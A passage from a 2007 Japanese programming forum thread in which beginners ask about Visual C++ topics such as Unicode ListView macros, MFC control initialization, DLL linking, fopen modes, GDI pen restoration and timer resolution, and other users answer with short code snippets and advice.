これで実行すると、リストビュー部に表示される文字が全て16進で表示されてしまいます。
正常に「項目1」,「内容1」で表示させる方法は、無いのでしょうか?
ListView_InsertColumnの部分のヘッダファイルを見ると
#define ListView_InsertColumn(hwnd, iCol, pcol) \
(int)SNDMSG((hwnd), LVM_INSERTCOLUMN, (WPARAM)(int)(iCol), (LPARAM)(const LV_COLUMN FAR*)(pcol))
となっているから無理なのかな?よろしくお願いします。
0312デフォルトの名無しさん
2007/02/04(日) 18:39:30とりあえずListView_InsertColumn中のSNDMSGがSendMessageAになってる。
LVM_INSERTCOLUMNもAつきのほうだし。
マクロは全滅なきがする。
0313311
2007/02/04(日) 21:09:25ありがとう。
やっぱプロジェクト自体をUnicode仕様にするしかないのかな?
>マクロは全滅なきがする。
マクロ以外で実現する方法ってあるの?
0314311
2007/02/04(日) 21:25:03#define ListView_InsertColumn_W(hwnd, iCol, pcol) \
(int)SendMessageW((hwnd), LVM_INSERTCOLUMNW, (WPARAM)(int)(iCol), (LPARAM)(const LV_COLUMNW FAR*)(pcol))
これだけで問題ないんだろうか?
0315デフォルトの名無しさん
2007/02/04(日) 21:38:50SNDMSGは単にSendMessageとして定義されているから、
当然プログラム全体をUNICODE化すればマクロがそのまま使えるんだ。
逆に言えばSendMessageがSendMessageWになりさえすればいいわけだから、
UNICODEとしてマクロを使いたい部分の前にこれ、
#pragma push_macro("SendMessage")
#undef SendMessage
#define SendMessage SendMessageW
後に#pragma pop_macro("SendMessage")を置けばいけると思う。
push_macro/pop_macroがVC6でも使えるかどうかは知らないけど。
0316311
2007/02/04(日) 22:00:59ありがとう。
#pragma push_macro("SendMessage")
#undef SendMessage
#define SendMessage SendMessageW
InitCommonControls();
:
:
item.mask = LVIF_TEXT; item.pszText = L"内容1";
item.iItem = 0;item.iSubItem = 0;
ListView_InsertItem(hList, &item);
#pragma pop_macro("SendMessage")
上記のように修正してみたが、コンパイルは通ったが、表示結果は16進のままだった。
VC++6.0では、push_macro/pop_macroが使えないのかもしれない。
>>314に書いた方法でやってみます。
ありがとう。
0317298
2007/02/06(火) 07:43:06もう一つ教えてください。
エディットボックスなどのコントロールの初期化処理を
したいのですが、どのタイミングでやればいいんでしょうか?
WM_CREATEではまだコントロールが作成されていません。
OnInitialUpdate() では問題ないのですが、最初の一度だけと
いう訳にはいきません。
static BOOL flag;
を使ってifで判定して最初だけ実行すれば出来たのですが、
もっとスマートな方法はありますでしょうか?
0318デフォルトの名無しさん
2007/02/06(火) 08:54:090319デフォルトの名無しさん
2007/02/06(火) 10:39:28Documentが変わってもView内のコントロールの位置やサイズが変わらない
タイプのアプリの場合は、自分もOnInitialUpdateでstaticなフラグ使って
一回だけやってる。特に問題ないと思うけど。
これ以上はアプリ形態と初期化内容が判らない限り何ともいえない。
0320デフォルトの名無しさん
2007/02/06(火) 16:24:36アプリケーション起動時にOSがエラーを出してくることがあります
もう一つ二つ意味のない変数を追加すれば治ることもあるのですが
これはどうしてなのですか?変数追加だけなので
プログラムの中で使ってもいません名前も被っていないです
どんな変数でもこの症状が起こるときは起こります
0321デフォルトの名無しさん
2007/02/06(火) 16:28:090322デフォルトの名無しさん
2007/02/06(火) 16:29:380323デフォルトの名無しさん
2007/02/06(火) 16:41:35Program:_xxxxxxxxxxx ←exeの場所
abnormal program termination
こんな感じで表示されます
今回は他の変数を追加しても直りません
助けてください。アクセス外ということは文字列かなにか
静的に領域をとってる配列等が原因なのでしょうか?
0324デフォルトの名無しさん
2007/02/06(火) 16:48:23うーん無駄に領域を確保すれば直るなんて謎だ
0325デフォルトの名無しさん
2007/02/06(火) 16:54:18一度きっちり調べ直してみることをお薦めする
0326デフォルトの名無しさん
2007/02/06(火) 17:14:52全てのメンバ変数にdeleteをしたほうがいいのでしょうか?
0327デフォルトの名無しさん
2007/02/06(火) 17:19:11逆にnewしていないものにdeleteは要らない。
ただし可能な限り、std::vectorなどnew[]/delete[]を隠匿したものを使ったり、
boost::shared_ptr/arrayやboost::scoped_ptr/array、std::auto_ptrなど、
せめてdelete/delete[]だけでも隠匿して使うようにすべき。
0328デフォルトの名無しさん
2007/02/06(火) 17:22:56newで動的確保するべきなのですか?
0329デフォルトの名無しさん
2007/02/06(火) 17:26:58そうでないのなら静的確保で十分
0330デフォルトの名無しさん
2007/02/06(火) 17:30:17deleteを使うところが見当たりません
原因は全て静的にしているせいなのでしょうか?
0331デフォルトの名無しさん
2007/02/06(火) 17:36:36猫でものホームページ見ながら作ってみたんですが
dllを作った時のヘッダを含めて
かつその時出来たlibファイルを
#pragma comment(lib,"〜.lib)
か、リンカの設定でリンクしないと使えないのは
libを通してやらないと、dll内の関数を呼び出すことは出来ないと
いう事なんでしょうか。
LoadLibraryを使っても意味無かったので、よくわからないです。
どなたか教えて頂ければ幸いです。
VS2005というIDE環境で勉強してるから楽出来てる分その楽
出来ている理由が解って無く勉強不足になってると自らは思います。
0332デフォルトの名無しさん
2007/02/06(火) 17:41:21「静的」「動的」の意味が分かっていないような気がする。
コードの中で
int i;
char String[80];
とかやるのが「静的確保」。これらの変数は実行ファイルがメモリ上に
ロードされた時点で既に存在していて、終了と同時に消滅する。
グローバル変数だろうが(クラスの)メンバ変数だろうがそれは同じ。
したがって delete/delete[] は必要ない。
0333デフォルトの名無しさん
2007/02/06(火) 17:48:03LoadLibraryで読み込んだDLLの関数を呼び出すには、
GetProcAddressで関数のアドレスを取得するんだよ。
0334デフォルトの名無しさん
2007/02/06(火) 17:49:34VS2005で「DLLを作る」と言ったときには自動的にLIBファイルも作られるけど、
この2つは完全に別種のもの。中身は一緒、ただ使い方が違う。
LIBファイルは静的リンク用のファイル。
自分の実行ファイルの中に(コンパイルの時点で)取り込んでしまって、
あたかも自分の書いたコードと同じように使えます、というもの。
だからLIBを組み込むときにはリンカなり#pragmaなりで予め設定をして、
コンパイルのときにリンクすることを明示しなければならない。
DLLは動的リンク用のファイル。
一般的には、まずLoadLibrary()でDLLファイルを読み込み、
(そこでもし成功したなら)次にGetProcAddress()で
DLLの中に埋め込まれた関数を取り出して使う、
最後にFreeLibrary()でDLLを自分のプログラムから取り外す、
という段取りを踏む。
コンパイル時には存在しなくても構わない、実行時にあればいい。
0335デフォルトの名無しさん
2007/02/06(火) 17:55:16うーんということは私が知らず知らずのうちに
どこかで動的確保しているということでしょうか?
0336デフォルトの名無しさん
2007/02/06(火) 18:02:34>VS2005で「DLLを作る」と言ったときには自動的にLIBファイルも作られるけど、
このLIBはインポートトライブラリ。
LoadLibraryやらGetProcAddressやらメンドクサイ処理をしてくれる短いモジュール。
これを静的にリンクすればDLLの呼び出しが簡単に出来る。
インポートトライブラリがあるなら極力使ったほうが楽。
0337デフォルトの名無しさん
2007/02/06(火) 18:05:31インポートトトライブラリ
インポートトトトライブラリ
0338320
2007/02/06(火) 18:12:06これはまずいですか?せめて原因をつきとめたいです
0339デフォルトの名無しさん
2007/02/06(火) 18:12:57動的確保はスタックに積むケースとnewやmallocなどでヒープから確保するケースがある。
静的確保はstaticで定義した場合(明示的にstaticをg使わないケースも含む)
クラス内のメンバー変数はクラスがどう生成されたかによる。
>>336
誤字をさらにコピーしてしまったか、インポートライブラリだな。
0340331
2007/02/06(火) 18:44:51>>334さん
>>336さん
ご教授ありがとうございました。
GetProcAddress()FreeLibrary()ってのも必要なんですね。
それと、dll作った時のlibはインポートライブラリなんですね。
「プログラムはなぜ動くのか」って本を読んだにもかかわらず
流し読みで頭に入っておらず再読したらちゃんと書いてありました。
はぁ、馬鹿だな俺って。
0341デフォルトの名無しさん
2007/02/06(火) 19:56:07SendMessage(hwnd,
このあとをどうすればよいのでしょうか。
ご教授願います。
0342デフォルトの名無しさん
2007/02/06(火) 20:06:34それに気がつくことができれば、今後はもっと「馬鹿」じゃなくなるでしょう。
そうやって向上できる人間が、「賢い」のです。
#で、「ご教示」ですね。
>>320
ソース公開しちゃった方が話が早そうですね。
0343デフォルトの名無しさん
2007/02/06(火) 20:07:43Dボタンってなんですか?
マウスクリックのイベントを送りたいなら、Spy++でどういうパラメータを渡せばいいか覗いてみると宜しいかと。
0345デフォルトの名無しさん
2007/02/07(水) 00:17:13いろいろ言われてるけど、とりあえず
配列利用時に、添え字がオーバーアクセスしてないか確認するべし。
> 原因を突き止めたい
デバッガを上手に利用しましょう。
ある特定のメモリ空間にアクセスした時にbreakかけることも出来たはず。
詳しくは「ブレークポイント」をMSDNで調べてくれ。
0346デフォルトの名無しさん
2007/02/07(水) 00:59:43ダイアログエディタで適当にあれこれコントロールを張ったとき、
VC++2003でビルドしたプログラムを98SEで走らせると、
コントロールのマルチバイト文字がすべて文字化けする。
エディットボックスに直接マルチバイト文字入れても同じく。
メニューバーやステータスバーは文字化けしない。
文字はTCHAR系統を使い、ビルドした結果はすべてwchar_tになっているはず。
このような状況で、文字化けさせない用にする方法を教えてくださいませんでしょうか?
0347デフォルトの名無しさん
2007/02/07(水) 01:47:020348デフォルトの名無しさん
2007/02/07(水) 02:07:28localeまわりかな?Unicode適応しないでビルドしたらSJISになっていけるのかな?
0349デフォルトの名無しさん
2007/02/07(水) 02:23:29なるほど…
わかりました。
ありがとうございました。
0350デフォルトの名無しさん
2007/02/07(水) 09:03:22マルチバイト文字(列) と ワイド文字(列) の意味を
使い分けられて無い気がするぞ。
マルチバイト文字列は char* で
ワイド文字列は wchar_t* だ。
0351デフォルトの名無しさん
2007/02/07(水) 10:14:210352デフォルトの名無しさん
2007/02/07(水) 10:18:25グローバル変数としてビュークラスの外で宣言したクラスの
メンバ変数は0や空文字で初期化されてるんですが
そのクラスをビュークラスのメンバとして宣言するとそのクラスの
メンバ変数が初期化されないのはどうしてですか?
0353デフォルトの名無しさん
2007/02/07(水) 10:26:03C++スレ行くか
C++の入門書でも読んで勉強してください
0354デフォルトの名無しさん
2007/02/07(水) 10:31:05わからないんですね
0355デフォルトの名無しさん
2007/02/07(水) 10:36:050356デフォルトの名無しさん
2007/02/07(水) 10:39:04ではここで教えてください
0357デフォルトの名無しさん
2007/02/07(水) 11:03:340358デフォルトの名無しさん
2007/02/07(水) 16:30:170359デフォルトの名無しさん
2007/02/07(水) 16:33:10仕組みから入ったほうが、そう決まってるからそうなんだ、より納得いくかもしれんし
0360デフォルトの名無しさん
2007/02/07(水) 17:01:560361デフォルトの名無しさん
2007/02/07(水) 17:25:43構造体のコピーも似たようなもの。
0362デフォルトの名無しさん
2007/02/07(水) 18:49:23winsockライブラリを使いたいのでお願いします
0363デフォルトの名無しさん
2007/02/07(水) 19:23:530364269
2007/02/08(木) 08:10:55SDK入れてWindowsアプリが作れるようになったんですが、ダイアログやアクセレータ等の
リソーススクリプトファイル(.rc)をエディットするResEditorがついてないみたいなので断念しそうです。
というかそれが目的だったので。
Windowsフォーム(.h)は作れるみたいですがどうしていいのかわかんないです。
Visual Studio 2005 Academic Editionだったらリソーススクリプトファイル(.rc)の作成は可能でしょうか?
可能ならば購入したいと思います。よろしくお願いします。
0365デフォルトの名無しさん
2007/02/08(木) 10:01:560366デフォルトの名無しさん
2007/02/08(木) 10:07:23ありがとうございます
0367デフォルトの名無しさん
2007/02/08(木) 10:35:00可能だがフリーのエディタもあるよ
0368デフォルトの名無しさん
2007/02/08(木) 11:04:040369デフォルトの名無しさん
2007/02/08(木) 11:50:13#include "stdafx.h"
#include"stdio.h"
int _tmain(int argc, _TCHAR* argv[])
{
FILE *fp=fopen("d:/test.txt","rw");
というコードを書きました。
FILE文付近で「〜Expression:(Invalid file open mode",0)〜」
というダイアログボックスがでます。
CRTセキュリティ強化されたためということですが、このセキュリティを
弱くしたいと思います。どのようにすればよいですか?
0370デフォルトの名無しさん
2007/02/08(木) 11:50:390371デフォルトの名無しさん
2007/02/08(木) 12:12:23セキュリティ強化用の関数が追加されたけど
標準関数の仕様はかわらないのでは?
0372デフォルトの名無しさん
2007/02/08(木) 12:18:22プロトコル次第
0373デフォルトの名無しさん
2007/02/08(木) 12:20:17httpなんですが
あとサーバーに送る文字列の改行コードは\nで大丈夫でしょうか?
0374デフォルトの名無しさん
2007/02/08(木) 13:09:22標準関数の仕様はかわらないのでは?
たぶんそうだと思うのですがうまくいかないです。
0375デフォルトの名無しさん
2007/02/08(木) 13:18:460376デフォルトの名無しさん
2007/02/08(木) 14:04:09VisualStudio2003だとうまくいくのですが、
構文的にrwなんてつけたらだめなのですか?
0377デフォルトの名無しさん
2007/02/08(木) 15:05:500378デフォルトの名無しさん
2007/02/08(木) 15:56:140379デフォルトの名無しさん
2007/02/08(木) 16:37:09http://msdn2.microsoft.com/ja-jp/library/yeby3zcb(VS.80).aspx
fopen("newfile.txt", "rw, ccs=<encoding>");
0380デフォルトの名無しさん
2007/02/08(木) 17:11:52「新VisualC++6.0入門ビギナー編 林春比古署 ソフトバンク社」
を使って今勉強中なんですが、
241ページのサンプルプログラムで、
CPenクラスのオブジェクトのポインタ、’oldPen’ってゆうのを、
’旧ペン’と銘打って保存って書いてありますが、
これをする意味がわかりません。
わざわざポインタでなぜ確保しているのでしょうか?
pDC->SelectObject(&CPen型Object)で選択して書くだけなのに、
別に’旧ペン’を保存しておく必要があるのでしょうか?
私が簡単に確認した程度では、
oldPen 自体設定しなくても実行可能でしたし、
最後に’旧ブラシに戻す’ってゆう作業もなくても問題ありませんでした。
他にもいろいろ記述してoldPenの有用な使い方を検証しましたが、
やればやるほど意味がないのではという考えに傾きます。
大変限定的な質問ですが、
よければ本を持ってる方、もしくはよく知ってらっしゃる方でわかる方がいれば
教えていただけないでしょうか?
0381デフォルトの名無しさん
2007/02/08(木) 17:21:08void CMyView::OnDraw( CDC* pDC )
{
CPen penBlack; // Construct it, then initialize
if( newPen.CreatePen( PS_SOLID, 2, RGB(0,0,0) ) )
{
// Select it into the device context
// Save the old pen at the same time
CPen* pOldPen = pDC->SelectObject( &penBlack );
// Draw with the pen
pDC->MoveTo(...);
pDC->LineTo(...);
// Restore the old pen to the device context
pDC->SelectObject( pOldPen );
}
else
{
// Alert the user that resources are low
}
}
0382デフォルトの名無しさん
2007/02/08(木) 17:24:47メモリ上のDCは元に戻すべきか?
0383デフォルトの名無しさん
2007/02/08(木) 17:24:47ttp://msdn2.microsoft.com/en-us/library/ms533272.aspx
>An application should always replace a new object with the original, default object after it has finished drawing with the new object.
0384デフォルトの名無しさん
2007/02/08(木) 17:28:500385デフォルトの名無しさん
2007/02/08(木) 18:10:14http://pc10.2ch.net/test/read.cgi/tech/1164787254/200-
0386デフォルトの名無しさん
2007/02/08(木) 18:56:26VS2005でソースみてみな
0387デフォルトの名無しさん
2007/02/08(木) 20:16:150388デフォルトの名無しさん
2007/02/08(木) 20:20:28C/C++の標準規格としては"rw"なんてありません。
標準で認められているのは"r", "w", "a", "r+", "w+", "a+"及び
それにバイナリモードのbを2-3文字目(+とは順不同)に入れたもののみです。
勿論Visual C++はViusal C++で色々と独自に拡張はしていますが。
0389デフォルトの名無しさん
2007/02/10(土) 17:51:190390デフォルトの名無しさん
2007/02/10(土) 18:07:09ソケットとプロトコルは関係ない
要はアプリケーションがWinSockを使ってSSL通信できるように作ればいい
0391デフォルトの名無しさん
2007/02/10(土) 18:49:44ありがとうございます少し調べてみます
0392デフォルトの名無しさん
2007/02/11(日) 01:39:25で聞いたらスレ違いという事でここでオナガイシマス
VC6ですCtrl + Fで検索ダイアログを開いた時過去に検索した文字が出せますが
便利ですが間違えた検索単語を間違えたときの文字も残っています
一度まっさらにするにはどうしたら良いですか?
0393デフォルトの名無しさん
2007/02/11(日) 06:19:070394デフォルトの名無しさん
2007/02/11(日) 09:42:36テキストの行がコントロールからはみ出たら最終行がきちんと見えるように
オートスクロールさせたいのですが
デザイナ内にもそれらしき設定はなさそうですし、
マニュアルでプロパティを調べてもそれっぽいものが見当たりません。
どうしたらいいでしょうか?
AutoScrollOffsetってのがそうですか?
なんかPointでスクロール先を指定するみたいですが、
もしこれがそうなら使い方が良く分からないので教えてください。
0395394
2007/02/11(日) 10:10:49textBox->SelectAll();
textBox->ScrollToCaret();
でできました。
0396デフォルトの名無しさん
2007/02/11(日) 12:27:54・オートスクロールが有効になっている場合、自動的にキャレットのある位置が表示されるようにスクロールされる
・TextBox::SelectionStartが現在のキャレットの位置
0397デフォルトの名無しさん
2007/02/11(日) 14:46:270398デフォルトの名無しさん
2007/02/11(日) 15:02:24もしくは再インストール。
0399デフォルトの名無しさん
2007/02/11(日) 23:32:04(Lap[Count] = GetTickCount())
);/* case 2: の timeGetTime の部分*/
Stepが0以外だとStepに関わらず、このループを抜けるのに15ms以上もかかってしまいます。(Lap配列の数値を見て)
最初のtimeGetTimeの10万回ループは47msで遅いわけでもないですし、そもそもtimeGetTimeだとうまく動くのです。
どうしたらよいのでしょうか。
0400デフォルトの名無しさん
2007/02/11(日) 23:43:080401399
2007/02/11(日) 23:50:06ソースはってませんでした。
http://deaikei.biz/up/up/4549.zip.html
pass:cpp
#pragma comment(lib, "winmm.lib")を追加したら、
timeGetTime()とGetTickCount()の両方でうまく時間が出てこなくなってしまいました。
元に戻してもダメなので、ビルドする度に違うのかもしれません…
0402デフォルトの名無しさん
2007/02/12(月) 00:07:11それに、timeGetTimeのNTでの規定精度は「5ms以上」
ついでに、強制コンテキストスイッチの間隔もある。
0403399
2007/02/12(月) 00:29:54試しに比較したかっただけなので、ループの方は勘弁してください。
timeBeginPeriodで精度を1msに調整しても結局GetTickCountで同様の症状になってしまいます。
コンテキストスイッチの待ち時間は10msを超えるようなものでしたっけ?
0404デフォルトの名無しさん
2007/02/12(月) 02:17:41家のPCだと100ns単位で156250、約16ms程度の解像度だぞ。
0405デフォルトの名無しさん
2007/02/12(月) 08:24:060406399
2007/02/12(月) 19:24:33ようやく理解できました。
Sleep(0)ループのようにタイマー割り込みを待つのですね…
GetSystemTimeAdjustmentで測ってみたら15.625msでした。
0407デフォルトの名無しさん
2007/02/13(火) 12:47:54突然中身がなくなるというかデバッグ時にみると不適切なptr
となってアドレスは0を指しているようでした
関数から関数を呼び出してさらに関数をよびだしていきどんどん奥にいくと
この現象が起きたのですが
これはスタックオーバーフローというものですか?
解決策を教えてください
0408デフォルトの名無しさん
2007/02/13(火) 12:49:09関数一個ずつ丹念にデバッガで追っていくのが無難かな。
スタックオーバーフローにしろ領域破壊にしろ、どっかで誰かがなんかやってるだろうから。
0409デフォルトの名無しさん
2007/02/13(火) 13:00:34ありがとうございます!!
strncpyで領域破壊を起こしていました
すごく助かりました!!
0410デフォルトの名無しさん
2007/02/13(火) 14:14:12VB6で、あるアプリを作成しています。
このアプリは、主処理のほとんどが
MS.NET Framework1.1 VC++.NET
で生成されたDLLで行われています。
このDLLをステップ実行やインスペクタでデバグしたいのです
が、親アプリがVBなので、どうやってデバグしたら良いやら
困り果ててます。
どなたかVC++のDLLのデバグ方法を伝授してください…
できれば簡単なやつで。
0411デフォルトの名無しさん
2007/02/13(火) 14:50:210412デフォルトの名無しさん
2007/02/13(火) 14:54:59もちょっとだけ具体的に教えてもらえないでしょうか…
0413デフォルトの名無しさん
2007/02/13(火) 15:32:24途中で止めてアタッチする手もあるが、環境あるなら
DLLのデバッグ開始すると、実行時にEXE指定しろって言ってくるから
それでそのEXE指定すればいいと思う。
デバッグしたいとこはブレークポイント設定しておけばいいし。
0414デフォルトの名無しさん
2007/02/13(火) 15:35:06DLLとPDBが同じとこにあればソースの場所聞いてくると思うので
そこでソース選べば追えると思うけど、、、
VB呼び出しはもしかしたら違うかもしれん、、、
C/C++からの呼び出ししかやったことないんで。
もしだめなら試すから言ってくれ
0415デフォルトの名無しさん
2007/02/13(火) 18:25:23丁寧なご回答ありがとうございます。
でもまだちょっと分かってないです…
DLLですが、メイク時に実行すると
「ActiveXコントロールテストコンテナ」というのが
出ます。
これかのことか!?と思ったのですが、EXE指定はできないっぽいです。
>>414さんの方法は今がんがってる最中です…
0416デフォルトの名無しさん
2007/02/13(火) 20:56:40学校で使っている描画のプログラム(?)をVC++6.0で使いたいと思い、
ヘッダーファイルとライブラリファイルを
Microsoft Visual Studio\VC98 のIncludeフォルダとLibフォルダにそれぞれ入れ、
プログラムをコンパイルしたのですが、
warning LNK4003: ライブラリの形式が無効です; ライブラリは無視されます
とエラーになってしまいます。
これと同様のことをBCC5.5でしても問題ありませんでした。
何か間違っているところがあれば是非教えてください。
0417デフォルトの名無しさん
2007/02/13(火) 21:01:200418418
2007/02/13(火) 21:40:29Win32 Static Libraryでプロジェクトを作りそこにライブラリソースを追加しビルドしました。
そしてできたライブラリファイルで再び試してみると、
ライブラリの形式が無効です このエラーはでなくなりましたが、
LNK2001 :外部シンボル"関数名"は未解決です このエラーは消えませんでした。
ライブラリファイルの作り方もよくわからなかったのですが合っているでしょうか?
0419デフォルトの名無しさん
2007/02/13(火) 21:41:53どっか、あってないんだろ。
0420デフォルトの名無しさん
2007/02/13(火) 22:36:39CRectとGetWindowRectを使用して自身の座標を得ることはできたのですが
自身と関係ないWindowの座標を得る場合にはどうしたらいいんでしょうか?
0421デフォルトの名無しさん
2007/02/14(水) 00:22:20必要とするウィンドウのハンドルを取得するべし。。
.NET Frameworks だけじゃ無理な気がしたので、WinAPI を使いましょう。
0422デフォルトの名無しさん
2007/02/14(水) 12:19:22文字列は"”でできました。
変数だけ書いたらエラーでました。
0423デフォルトの名無しさん
2007/02/14(水) 12:33:450424デフォルトの名無しさん
2007/02/14(水) 14:47:480425デフォルトの名無しさん
2007/02/14(水) 16:27:57なぜ.NETでCRectとGetWindowRectが出てくる?
0426デフォルトの名無しさん
2007/02/14(水) 17:05:59はじめからDOS窓アプリにしないとだめですか?
0427デフォルトの名無しさん
2007/02/14(水) 17:13:210428デフォルトの名無しさん
2007/02/14(水) 17:18:42http://ex17.2ch.net/test/read.cgi/news4vip/1171440924/
0429デフォルトの名無しさん
2007/02/14(水) 17:31:05CTypedPtrList<CObArray, VALUE*>にする時ってどうすればいいんでしょうか?
下のがソースなんですが、やり方が良くわからない。。。orz
CItemInfo::~CItemInfo(){
int iCount;
POSITION pos;
VALUE *pValue;
m_pValueList = &m_SeqValueList;
iCount = (int)m_pValueList->GetCount( );
pos = m_pValueList->GetHeadPosition( );
for( int i=0; i<iCount; i++ ){
pValue = m_pValueList->GetNext( pos );
delete pValue;
}
m_pValueList->RemoveAll();
m_pValueList = &m_ParValueList;
iCount = (int)m_pValueList->GetCount( );
pos = m_pValueList->GetHeadPosition( );
for( int i=0; i<iCount; i++ ){
pValue = m_pValueList->GetNext( pos );
delete pValue;
}
m_pValueList->RemoveAll();
}
0430426
2007/02/14(水) 17:36:11freopen("con", "w", stdout);
printf("hello console\r\n");
//FreeConsole();
でできました。すみません。
0431デフォルトの名無しさん
2007/02/14(水) 17:54:01ちなみにヴァージョン6.0です
0432デフォルトの名無しさん
2007/02/14(水) 18:57:23ツールのオプションの書式の背景でない?
0433420
2007/02/14(水) 21:14:12ってところでpointに入っててrectはサイズを知りたくて使ってただけでした、すみません。
クライアント座標はpointに入ってたのですがスクリーン座標を知るにはどうしたらいいんでしょうか?
SetCapture()でクライアント領域外の座標は得れたんですがクライアントが中心になってしまっています。
よろしくお願いします。
0434デフォルトの名無しさん
2007/02/14(水) 21:20:590436420
2007/02/14(水) 22:56:320437デフォルトの名無しさん
2007/02/14(水) 23:09:02それどうみても.NETでない。
0438デフォルトの名無しさん
2007/02/14(水) 23:33:46.NETとは、Visual Studio .Net 2003の省略形だったんだよ!
0439デフォルトの名無しさん
2007/02/15(木) 00:04:240440420
2007/02/15(木) 00:06:40.NETとは違ったんでしょうか・・・すみません;
0441デフォルトの名無しさん
2007/02/15(木) 00:09:27……職場にもいるけどな、そういうヒト。
さらにVisual Studio 2005のことも「ドットネット」って呼んでくれるから、
毎回頭の中で翻訳するのが大変。
例「C++でデバッグしていてドットネットが落ちるんだよな〜」「???」
0442デフォルトの名無しさん
2007/02/15(木) 00:41:29.NETと言ったら普通.NET Frameworkのことを指す。
新規プロジェクトの中に.NETとか書かれたテンプレートがあるだろ。
それが.NET Frameworkを使うプロジェクトを作るのに使うテンプレート。
.NET Frameworkには大量のクラスライブラリが含まれているし、
Visual Studioではフォームエディタも使え、作るほうとしては充実しているが、
利用者に.NET Frameworkをインストールしてもらわないといけないのが、
一般的なアプリケーション開発ではネック。
XP SP2あたりから漏れなくインストールされるようになってきているけどね。
0443デフォルトの名無しさん
2007/02/15(木) 10:44:29.NET Frameworkっていうのがあった。
言い方が良くわからないけど、つまり.NETというのは単なる1つのAPI
ってことで、開発環境を指しているのではない、ということ?
0444デフォルトの名無しさん
2007/02/15(木) 10:57:02.NETの環境向けに開発できるのが、VS .NET
0445デフォルトの名無しさん
2007/02/15(木) 11:04:02ハードディスクのことをハードと呼ぶやつとか
本人はどういうつもりか知らんけど馬鹿にしか見えない。
0446デフォルトの名無しさん
2007/02/15(木) 11:05:21Visual Studio .NETというのは、.NET Frameworkがインストールされている
端末向けの開発環境、ということか。
Windows Vistaには標準で.NET Frameworkがインストールされているけど、
XPはSP2を入れないと.NET Frameworkが入っていないから、
そういう端末を対象とするなら.NET Frameworkが入っているかいないかを
確認しなければならないということか。
0447デフォルトの名無しさん
2007/02/15(木) 11:10:29Visual Studio .NETという名前は使われなくなった。
0448デフォルトの名無しさん
2007/02/15(木) 11:15:08.NETというくらいだからネットワーク=インターネット専用なんだろうな、俺には
関係ないなと…w
0449デフォルトの名無しさん
2007/02/15(木) 14:39:24「Visual Basic .NET」 2005という具合にさ。
0450デフォルトの名無しさん
2007/02/15(木) 22:37:51VS2005 C++で
#include <stdio.h>
main()
{
int a;
}
をコンパイルすると
error C4430: 型指定子がありません - int と仮定しました
が出ます
今まではいけてたんですが、わかる方お願いします。
0451デフォルトの名無しさん
2007/02/15(木) 22:55:09}
0452デフォルトの名無しさん
2007/02/16(金) 01:11:53たぶん拡張子をcにしたり、コンパイルオプションから/TPを外したりすれば、
(int抜きの)main()でも行けると思う。
0453デフォルトの名無しさん
2007/02/16(金) 03:40:090454デフォルトの名無しさん
2007/02/16(金) 03:47:10cli::String なのか std::string なのかはっきりしろ。
0455デフォルトの名無しさん
2007/02/16(金) 03:55:210456デフォルトの名無しさん
2007/02/16(金) 04:03:33std::string s("123");
int i = atoi(s.c_str());
0457デフォルトの名無しさん
2007/02/16(金) 04:07:03それができないんですよ
エラーがでます
0458デフォルトの名無しさん
2007/02/16(金) 04:08:59どんなエラーが出るのか言いなさいよ。
0459デフォルトの名無しさん
2007/02/16(金) 04:09:06どんなエラーか書け
0460デフォルトの名無しさん
2007/02/16(金) 04:16:54そんなんだから成長しないんですよ。
0461デフォルトの名無しさん
2007/02/16(金) 04:18:10とっとと書けよ。あんぽんたん。
0462デフォルトの名無しさん
2007/02/16(金) 04:19:58http://pc10.2ch.net/test/read.cgi/tech/1169039760/877
0463デフォルトの名無しさん
2007/02/16(金) 12:45:22マルチスレッドとかUMLで設計できますか?
0464デフォルトの名無しさん
2007/02/16(金) 13:17:43アクティビティ図使えば表現できるんじゃねーかとは思う
が、とりあえずスレ違いだ。
0465デフォルトの名無しさん
2007/02/17(土) 01:16:40何件か書店回ってパラパラと立ち読みしてみたんですがどういうのが良いのか分からなくて困ってます。
やはり実用例があるC++でゲームを作るみたいな本が良いんでしょうか。
既出、スレ違いだったらすみませんorz
0466デフォルトの名無しさん
2007/02/17(土) 11:41:49http://pc10.2ch.net/gamedev/
板違いやな
ゲーム製作はC++だけと考えない方がいい。
どの程度の規模で何やりたいかによって、利用する言語は変わると思う。
ミニゲームであれば、HSP/Flashでも創れるし。
0467デフォルトの名無しさん
2007/02/17(土) 12:34:100468デフォルトの名無しさん
2007/02/17(土) 12:41:30教養課程 数学 物理 C/C++
専門課程 ゲーム製作
0469デフォルトの名無しさん
2007/02/17(土) 16:22:37Cの文法は一通り理解しています。
本格的にWindowsプログラミングができるようになりたいので、
これから勉強を始めるつもりです。
数年前、ある先生から、
「Winアプリケーションを作れるようになるためには、
まずはWinAPIを理解→オブジェクト指向を理解→MFCを使ったプログラミング」
というような段階を踏んで勉強していくといい、と聞きました。
勧められた本が、山本信雄の「はじめてのプログラミング」(全3巻)で、
ほぼ上記の説明通りの構成で書かれている本らしいのですが、アマゾンで見てみたら
残念なことにこの本はVisualC++5.0/6.0向けらしいです。
現行のVC++2005は、6.0から「かなり変わった」と聞いているので、別の本を
買うしかないと思っています。
「2005になって、.NetFrameWorkのクラスを利用するプログラミングに変わって..」
と聞いても、私にはまだよくわからないのですが、前記の「API→オブジェクト指向→MFC」
という学習の進め方自体も、2005になってだいぶ変わったのでしょうか。
多少時間がかかっても構わないので、なるべく体系だった学習ができるような
入門書がいいのですが....
ちなみに最終的に作りたいものは、周辺機器のデバイスドライバのたぐいです。
もし色々な本を読んでいる方がおられましたら、よろしくお願いします。
0470デフォルトの名無しさん
2007/02/17(土) 17:09:090471469
2007/02/17(土) 17:36:27すみません。「デバイスドライバ」という書き方では不十分でした。
周辺機器は、光学センサや超音波センサで空間把握をするための装置です。
通信されてきたデータをPC画面上でグラフィカルにモニターするためのWinアプリを
作りたいと思っています。そして、ドライバ周りも一緒にC++でコーディングできればと
考えています。
0472デフォルトの名無しさん
2007/02/17(土) 18:01:432005で「API→オブジェクト指向→MFC」という学習の進め方もできる。
かなり変わったというよりは、かなり機能が追加された。
0474デフォルトの名無しさん
2007/02/17(土) 18:36:05リソースエディタやクラスウィザードとか使わないだろうし
2005の本にこだわる意味はないだろうね
0475デフォルトの名無しさん
2007/02/17(土) 19:20:020476デフォルトの名無しさん
2007/02/17(土) 19:43:12COMポートで繋ぐ程度ならデバイスドライバは要らない。
独自のカード経由&そのカードが仕様書しか無い、って話なら別だけど。
で、一つ言っておくなら「オブジェクト指向とMFCは一切関係が無い」。
MFCはWinAPIを手を抜いて使うためのラッパ。
あと、VC6のソースが2005で動かない病に良く効く呪文。
